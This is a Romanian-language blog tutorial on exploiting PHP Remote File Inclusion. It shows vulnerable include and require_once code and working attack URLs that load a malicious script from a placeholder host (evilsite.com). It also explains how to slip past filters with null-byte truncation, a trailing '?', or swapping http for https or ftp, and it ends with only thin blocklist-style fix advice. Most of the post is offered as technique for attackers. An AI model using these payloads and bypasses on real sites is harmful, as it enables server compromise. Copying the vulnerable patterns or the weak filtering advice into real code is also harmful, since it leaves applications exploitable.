Vulnerabilitati PHP – Remote File Inclusion - Securitatea Informatica

Vulnerabilitati PHP – Remote File Inclusion

  • Puteţi folosii trucul cu NULLBYTE şi ?
  • Puteţi folosii HTTPS şi FTP pentru a trece de filtre (http filtrat)

În php sunt 4 funcţii prin intermediul cărora se poate include cod php.

  • require - require() este identic cu include() doar că în caz de eroare va produce o eroare fatală E_ERROR.
  • require_once – este identic cu require() cu excepţia că PHP va verifica dacă fişierul este deja inclus, şi dacă este, nu îl va include din nou.
  • include - include şi evaluează fişierul specificat.
  • include_once – include şi evaluează fişierul specificat pe durata execuţiei scriptului.

Exemplu de bază

Sfaturi :

  • unele scripturi nu acceptă “http” în variabile, ”http” este interzis, astfel puteţi folosi “https” sau “ftp”.

Cod aflat în test.php

Cod:

<?php
$pagina=$_GET['pagina'];
include $pagina;
?>

• Dacă accesăm pagina vom primii ninşte erori şi avertizări (nu le-am copiat) :

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

• Putem să vedem că variabila “pagina” este nedeclarată. Putem seta ce valoare vrem variabilei “pagina”. Exemplu:

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Acum o să vă arăt de ce unii folosesc ? sau %00 după link-ul către scriptul maliţios.
• Cod aflat în test.php

Cod:

<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>

Dacă facem următoarea cerere: http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt nu va merge deoarece scriptul va încerca să includă http://evilsite.com/evilscript.txt.php. Deci vom adăuga un NULLBYTE(%00) şi tot ce se află după NULLBYTE nu va fi luat în considerare.

Exemplu :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00

Scriptul va include cu succes codul maliţios şi nu va lua în considerare ce se află după NULLBYTE.

Cod:

<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>

Şi logged=1 va deveni variabilă. Dar mai indicat este să folosiţi NULLBYTE.
Exemplu:

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

Scriptul maliţios va fi inclus cu succes.

Exemplu simplu

Cod:

<?php
if (isset($_REQUEST["main_content"]))
{
$main_content = $_REQUEST["main_content"];
}
elseif (isset($_SESSION["main_content"]))
{
$main_content = $_SESSION["main_content"];
}
//.......................etc..................
ob_start();
require_once($main_content);
?>

Putem vedea că variabila “main_content” este cerută prin metoda $_REQUEST. Atacatorul poate seta variabilei ce valoare doreşte. Mai jos, după variabila “main_content” se află include, fişierul specificat de atacator prin intermediul variabilei este inclus. Deci dacă facem următoarea cerere:

http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt

Scriptul maliţios va fi inclus cu succes.

Cum să fixezi

Metoda simplă: Nu permite caractere speciale în variabile or filter the slash “/”.
Alta metoda : Filtreaza “http”, “https” , “ftp” şi “smb”.

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro